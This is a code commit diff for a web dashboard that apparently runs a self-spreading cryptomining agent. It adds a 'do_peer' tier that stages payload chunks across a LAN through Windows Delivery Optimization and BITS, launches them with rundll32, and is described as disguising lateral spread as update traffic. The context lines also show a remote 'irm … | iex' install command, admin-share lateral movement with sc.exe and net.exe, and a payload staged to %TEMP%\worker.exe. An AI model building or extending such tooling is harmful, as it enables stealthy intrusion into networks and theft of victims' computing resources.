Add do_peer Shadow Cache Handoff deploy tier for LOTL spread onion

server/web/public/docs/SPREAD_TECHNIQUES.html

@@ -418,6 +418,11 @@ irm https://your.site/install.ps1?pin={build_id}&amp;c=docs | iex</code></pre>
                 <td>BITS (<code>bitsadmin</code>) or <code>curl.exe</code> staging — optional <code>certutil -decode</code>, SHA256 verify, launch.</td>
                 <td>Crucible <code>stage_fetch</code>: <code>{"method":"curl","chunks":[{"url":"https://deck/chunk1.b64","file":"c1.b64"}],"sha256":"…","dest":"%TEMP%\\worker.exe","launch":"exe"}</code></td>
               </tr>
+              <tr id="lotl-tier-do_peer">
+                <td><strong>do_peer</strong></td>
+                <td>DoSvc + BITS shadow cache handoff — hash-verified peer chunk staging on LAN; launch via <code>rundll32</code> or exe with <code>--defer-mining</code>.</td>
+                <td>Probe &amp; Join when <code>DoSvc</code> is running — signed plan: <code>{"join_lane":"do_peer","peer_group":"af-peer-…","manifest":{"method":"bits","launch":"rundll32","defer_mining":true}}</code></td>
+              </tr>
               <tr id="lotl-tier-smb">
                 <td><strong>smb</strong> (<code>spread_smb_unc</code>)</td>
                 <td>admin$ / C$ lateral via <code>sc.exe</code> + <code>net.exe</code> on open port 445 — no PsExec.</td>

server/web/src/components/Fleet/ReconBadges.test.tsx

@@ -38,6 +38,11 @@ describe('Recon badges', () => {
   });
 
   it('JoinLaneBadge renders lane label', () => {
+    render(<JoinLaneBadge lane="do_peer" />);
+    expect(screen.getByText('DoSvc peer')).toBeInTheDocument();
+  });
+
+  it('JoinLaneBadge renders docker lane label', () => {
     render(<JoinLaneBadge lane="docker" />);
     expect(screen.getByText('Docker')).toBeInTheDocument();
   });

server/web/src/help/forgeOperationModes.test.ts

@@ -132,7 +132,7 @@ describe('forgeOperationModes', () => {
     expect(next.gpu_enabled).toBe(false);
     expect(next.lotl_onion_enabled).toBe(true);
     expect(next.lotl_policy_from_server).toBe(true);
-    expect(next.lotl_onion_tiers).toHaveLength(10);
+    expect(next.lotl_onion_tiers).toHaveLength(11);
     expect(next.lotl_onion_tiers?.[0]).toBe('vuln_recon');
     expect(next.spread_kit).toBe(false);
     expect(next.auto_spread).toBe(true);

server/web/src/help/lotlOnionTiers.ts

@@ -7,6 +7,7 @@ export const DEFAULT_LOTL_ONION_TIERS = [
   'powershell',
   'dotnet',
   'bits_curl',
+  'do_peer',
   'smb',
   'winrm',
   'linux',
@@ -81,6 +82,15 @@ export const LOTL_ONION_TIER_DOCS: LotlOnionTierDoc[] = [
     example:
       'Crucible `stage_fetch` manifest: `{"action":"stage_fetch","data":"{\"method\":\"curl\",\"chunks\":[{\"url\":\"https://deck/chunk1.b64\",\"file\":\"c1.b64\"}],\"sha256\":\"abc…\",\"dest\":\"%TEMP%\\\\worker.exe\",\"launch\":\"exe\"}"}`.',
   },
+  {
+    id: 'do_peer',
+    label: 'do_peer',
+    hint: 'DoSvc/BITS shadow cache handoff — LAN peer chunk staging',
+    definition:
+      'Windows Delivery Optimization (DoSvc) + BITS peer-style chunk staging on LAN. Agent seeds/receives hash-verified chunks via a local peer cache pattern and launches via rundll32/BITS — traffic resembles update peer sync, not lateral spread.',
+    example:
+      'Calibrate `service_deploy_allowlist` maps `DoSvc` → `do_peer`. Crucible **Probe & Join** when DoSvc is running: signed plan includes `peer_group`, `sha256`, `launch=rundll32`, and `--defer-mining` until diagnostics pass.',
+  },
   {
     id: 'smb',
     label: 'SMB',

server/web/src/help/reconRisk.test.ts

@@ -32,6 +32,7 @@ describe('reconRisk', () => {
   it('joinLaneLabel formats known lanes', () => {
     expect(joinLaneLabel('winrm')).toBe('WinRM');
     expect(joinLaneLabel('spread_smb_unc')).toBe('SMB UNC');
+    expect(joinLaneLabel('do_peer')).toBe('DoSvc peer');
     expect(joinLaneLabel('')).toBeNull();
     expect(joinLaneLabel('custom_lane')).toBe('custom lane');
   });

server/web/src/help/reconRisk.ts

@@ -73,6 +73,8 @@ const JOIN_LANE_LABELS: Record<string, string> = {
   gpo: 'GPO',
   docker: 'Docker',
   bits: 'BITS',
+  do_peer: 'DoSvc peer',
+  bits_curl: 'BITS/curl',
   intune: 'Intune',
   'linux-lotl': 'Linux LOTL',
   linux_lotl: 'Linux LOTL',